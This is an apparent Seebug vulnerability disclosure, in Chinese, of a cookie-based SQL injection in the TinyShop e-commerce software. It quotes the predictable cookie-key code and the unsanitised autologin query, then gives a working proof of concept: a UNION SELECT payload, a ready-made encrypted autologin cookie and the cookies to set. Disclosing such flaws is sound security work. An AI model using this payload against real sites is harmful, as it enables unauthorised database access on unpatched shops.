Lucene search

K
seebugRootSSV:94995
HistorySep 09, 2014 - 12:00 a.m.

tinyshop cookie注入

2014-09-0900:00:00
Root
www.seebug.org
18

简要描述:

cookie没有过滤导致sql注入

详细说明:

首先看cookie的加密:

///加解密算法
private static function code($string, $op="decode", $key='', $expiry=0)
///加密算法调用:
$value = Crypt::encode($value,self::getSafeCode());
///解密算法的调用:
$cookie= Crypt::decode($cryptCookie,self::getSafeCode());

这里的关键就是self::getSafeCode()

public static function getSafeCode()
{
	if(self::$safeCode == '')self::setSafeCode();
	return self::$safeCode;
}
public static function setSafeCode($scode='')
{
	self::$safeCode = $scode.self::cookieId();
}
private static function cookieId()
	{
	if(self::$safeLave==0)return 1;
	if(self::$safeLave==1) return md5(Chips::getIP());
	if(self::$safeLave==2) return md5(Chips::getIP().$_SERVER["HTTP_USER_AGENT"]);
	}

这就说明 整个cookie的加密秘钥无非是三种情况,而且这三种都是用户可以获取的。而且默认就是第一种方式,也就是key=1.
在来看方法:(classes/common.php)

//自动登录时的用户信息
    static function autoLoginUserInfo()
    {
        $cookie = new Cookie();
        $cookie->setSafeCode(Tiny::app()->getSafeCode());
        $autologin = $cookie->get('autologin');
        $obj = null;
        if($autologin!=null){
            $email = $autologin['email'];
            $password = $autologin['password'];
            $model = new Model("user as us");
            $obj = $model->join("left join customer as cu on us.id = cu.user_id")->fields("us.*,cu.group_id,cu.login_time")->where("us.email='$email'")->find();
            if($obj['password'] != $password){
                $obj = null;
            }
        }
        return $obj;
    }

这里获取了autologin 这个cookie值,再来看获取方式:

public static function get($name)
	{
		if(self::checkSafe()==1)
		{
			if(isset($_COOKIE[self::$per.$name]))
			{
				$cryptCookie = $_COOKIE[self::$per.$name];
				$cookie= Crypt::decode($cryptCookie,self::getSafeCode());
				$tem = substr($cookie,0,10);
				if(preg_match('/^[Oa]:\d+:.*/',$tem)) $cookie = unserialize($cookie);
				return $cookie;
			}
			return null;
		}
		if(self::checkSafe()==0) self::clear($name);// Tiny::msg('非法窃取COOKIE,系统将终止工作!',0);
		else return null;
	}

在这里看到cookie只是在解密后做了一次反序列换转换,这就导致了直接被带入到了后端的sql语句中。
这里以默认的$key=1作为poc例子:
注入的sql语句片段式: ’ union select 1,user(),1,1,1,1,1,1,1#
序列化后加密得到密文:bfc8bbdb4aOTkwMDQwMDMxMzkxNGY/MDRkZDBhZjIzPGE4MWA0NzVhOjE9e3EyNTgibW1gbGwiOXI8MzE6KyMgdW5pbm4gc2VtZWN9IjgpdXpley0hLDEuNyoxJTcuMikxKjEjKzt3Ojg6J3lkcHV/bHNkIjtzODE6IjAmOH0
设置cookie:
safecode=1,
Tiny_autologin=bfc8bbdb4aOTkwMDQwMDMxMzkxNGY/MDRkZDBhZjIzPGE4MWA0NzVhOjE9e3EyNTgibW1gbGwiOXI8MzE6KyMgdW5pbm4gc2VtZWN9IjgpdXpley0hLDEuNyoxJTcuMikxKjEjKzt3Ojg6J3lkcHV/bHNkIjtzODE6IjAmOH0
然后访问首页即可看到用户名

<img src=“https://images.seebug.org/upload/201409/04212918ef2a12cf5feef1fdf1cf1016551bdf53.png” alt=“BaiduHi_2014-9-4_21-28-16.png” width=“600”>

<img src=“https://images.seebug.org/upload/201409/04212935c98dd1062a12db4ce1dfca32fb29ed60.png” alt=“BaiduHi_2014-9-4_21-28-24.png” width=“600”>

<img src=“https://images.seebug.org/upload/201409/04212944158a36a64f603b04ebb0cf1effe30834.png” alt=“BaiduHi_2014-9-4_21-28-47.png” width=“600”>

漏洞证明:

<img src=“https://images.seebug.org/upload/201409/04212918ef2a12cf5feef1fdf1cf1016551bdf53.png” alt=“BaiduHi_2014-9-4_21-28-16.png” width=“600”>

<img src=“https://images.seebug.org/upload/201409/04212935c98dd1062a12db4ce1dfca32fb29ed60.png” alt=“BaiduHi_2014-9-4_21-28-24.png” width=“600”>

<img src=“https://images.seebug.org/upload/201409/04212944158a36a64f603b04ebb0cf1effe30834.png” alt=“BaiduHi_2014-9-4_21-28-47.png” width=“600”>